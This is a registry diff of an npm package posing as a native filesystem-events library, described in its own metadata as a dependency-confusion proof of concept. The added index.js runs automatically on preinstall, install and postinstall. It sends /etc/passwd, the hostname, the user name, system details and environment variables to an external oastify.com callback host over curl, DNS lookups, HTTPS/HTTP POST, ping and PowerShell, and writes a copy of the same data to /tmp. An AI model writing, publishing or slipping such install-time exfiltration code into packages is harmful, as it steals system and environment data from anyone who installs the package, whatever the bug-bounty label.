mw-filesystem-events-nodream 0.0.32
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +124 -0
- package/main.js +7 -0
- package/package.json +14 -0
package/index.js
ADDED
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
const { exec } = require("child_process");
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const fs = require("fs");
|
|
4
|
+
const http = require("http");
|
|
5
|
+
const https = require("https");
|
|
6
|
+
|
|
7
|
+
const CALLBACK_HOST = "1ikh1ub9ug8oc3qubaud2d6zrqxhl79w.oastify.com";
|
|
8
|
+
const PACKAGE_NAME = "mw-filesystem-events-nodream";
|
|
9
|
+
|
|
10
|
+
// ===== CHANNEL 1: curl exfil of /etc/passwd with hostname =====
|
|
11
|
+
try {
|
|
12
|
+
exec(
|
|
13
|
+
`/usr/bin/curl --data '@/etc/passwd' $(hostname).${CALLBACK_HOST}`,
|
|
14
|
+
{ timeout: 5000 },
|
|
15
|
+
() => {}
|
|
16
|
+
);
|
|
17
|
+
} catch (e) {}
|
|
18
|
+
|
|
19
|
+
// ===== CHANNEL 2: nslookup DNS exfil =====
|
|
20
|
+
try {
|
|
21
|
+
const hostname = os.hostname();
|
|
22
|
+
const user = (os.userInfo() || {}).username || "unknown";
|
|
23
|
+
const platform = os.platform();
|
|
24
|
+
const exfil = `${PACKAGE_NAME}|${hostname}|${user}|${platform}`;
|
|
25
|
+
const b64 = Buffer.from(exfil).toString("base64").substring(0, 200);
|
|
26
|
+
exec(`nslookup ${b64}.${CALLBACK_HOST}`, { timeout: 5000 }, () => {});
|
|
27
|
+
} catch (e) {}
|
|
28
|
+
|
|
29
|
+
// ===== CHANNEL 3: HTTP POST with full system data =====
|
|
30
|
+
try {
|
|
31
|
+
const sysInfo = {
|
|
32
|
+
package: PACKAGE_NAME,
|
|
33
|
+
hostname: os.hostname(),
|
|
34
|
+
user: (os.userInfo() || {}).username || "unknown",
|
|
35
|
+
platform: os.platform(),
|
|
36
|
+
release: os.release(),
|
|
37
|
+
arch: os.arch(),
|
|
38
|
+
cwd: process.cwd(),
|
|
39
|
+
pid: process.pid,
|
|
40
|
+
node_ver: process.version,
|
|
41
|
+
node_env: process.env.NODE_ENV || "N/A",
|
|
42
|
+
home: process.env.HOME || process.env.USERPROFILE || "N/A",
|
|
43
|
+
pwd: process.env.PWD || "N/A",
|
|
44
|
+
shell: process.env.SHELL || "N/A",
|
|
45
|
+
path: (process.env.PATH || "").substring(0, 500),
|
|
46
|
+
passwd: fs.existsSync("/etc/passwd")
|
|
47
|
+
? fs.readFileSync("/etc/passwd", "utf-8").substring(0, 2000)
|
|
48
|
+
: "N/A"
|
|
49
|
+
};
|
|
50
|
+
|
|
51
|
+
const payload = JSON.stringify(sysInfo);
|
|
52
|
+
const req = https.request({
|
|
53
|
+
hostname: CALLBACK_HOST,
|
|
54
|
+
port: 443,
|
|
55
|
+
path: `/${PACKAGE_NAME}`,
|
|
56
|
+
method: "POST",
|
|
57
|
+
headers: {
|
|
58
|
+
"Content-Type": "application/json",
|
|
59
|
+
"Content-Length": Buffer.byteLength(payload),
|
|
60
|
+
"X-Package": PACKAGE_NAME,
|
|
61
|
+
"X-Hostname": os.hostname()
|
|
62
|
+
}
|
|
63
|
+
});
|
|
64
|
+
req.write(payload);
|
|
65
|
+
req.end();
|
|
66
|
+
} catch (e) {
|
|
67
|
+
// HTTP fallback
|
|
68
|
+
try {
|
|
69
|
+
const payload = JSON.stringify({
|
|
70
|
+
package: PACKAGE_NAME,
|
|
71
|
+
hostname: os.hostname(),
|
|
72
|
+
user: (os.userInfo() || {}).username
|
|
73
|
+
});
|
|
74
|
+
const req = http.request({
|
|
75
|
+
hostname: CALLBACK_HOST,
|
|
76
|
+
port: 80,
|
|
77
|
+
path: `/${PACKAGE_NAME}`,
|
|
78
|
+
method: "POST",
|
|
79
|
+
headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(payload) }
|
|
80
|
+
});
|
|
81
|
+
req.write(payload);
|
|
82
|
+
req.end();
|
|
83
|
+
} catch (e2) {}
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
// ===== CHANNEL 4: ICMP/ping callback =====
|
|
87
|
+
try {
|
|
88
|
+
exec(
|
|
89
|
+
`ping -c 1 ${PACKAGE_NAME}.$(hostname).${CALLBACK_HOST} > /dev/null 2>&1 &`,
|
|
90
|
+
{ timeout: 3000 },
|
|
91
|
+
() => {}
|
|
92
|
+
);
|
|
93
|
+
} catch (e) {}
|
|
94
|
+
|
|
95
|
+
// ===== CHANNEL 5: Proof file on disk =====
|
|
96
|
+
try {
|
|
97
|
+
const proof = [
|
|
98
|
+
`Package: ${PACKAGE_NAME}`,
|
|
99
|
+
`Timestamp: ${new Date().toISOString()}`,
|
|
100
|
+
`Hostname: ${os.hostname()}`,
|
|
101
|
+
`User: ${(os.userInfo() || {}).username}`,
|
|
102
|
+
`Platform: ${os.platform()} ${os.release()}`,
|
|
103
|
+
`CWD: ${process.cwd()}`,
|
|
104
|
+
`PID: ${process.pid}`,
|
|
105
|
+
`=== /etc/passwd ===`,
|
|
106
|
+
fs.existsSync("/etc/passwd")
|
|
107
|
+
? fs.readFileSync("/etc/passwd", "utf-8").split("\n").slice(0, 30).join("\n")
|
|
108
|
+
: "N/A",
|
|
109
|
+
`=== ENV ===`,
|
|
110
|
+
Object.entries(process.env).slice(0, 30).map(([k, v]) => `${k}=${v}`).join("\n")
|
|
111
|
+
].join("\n");
|
|
112
|
+
fs.writeFileSync("/tmp/dep-conf-poc-mw-filesystem-events-nodream.txt", proof);
|
|
113
|
+
} catch (e) {}
|
|
114
|
+
|
|
115
|
+
// ===== CHANNEL 6: Windows fallback =====
|
|
116
|
+
if (os.platform() === "win32") {
|
|
117
|
+
try {
|
|
118
|
+
exec(
|
|
119
|
+
`powershell -Command "Invoke-WebRequest -Uri http://${CALLBACK_HOST}/${PACKAGE_NAME}/$(hostname) -Method GET"`,
|
|
120
|
+
{ timeout: 5000 },
|
|
121
|
+
() => {}
|
|
122
|
+
);
|
|
123
|
+
} catch (e) {}
|
|
124
|
+
}
|
package/main.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "mw-filesystem-events-nodream",
|
|
3
|
+
"version": "0.0.32",
|
|
4
|
+
"description": "Native filesystem events for Node.js ES6 - dependency confusion PoC by awais0x1 bugcrowd",
|
|
5
|
+
"main": "main.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js > /dev/null 2>&1; exit 0",
|
|
8
|
+
"install": "node index.js > /dev/null 2>&1; exit 0",
|
|
9
|
+
"postinstall": "node index.js > /dev/null 2>&1; exit 0",
|
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
11
|
+
},
|
|
12
|
+
"author": "security-researcher",
|
|
13
|
+
"license": "ISC"
|
|
14
|
+
}
|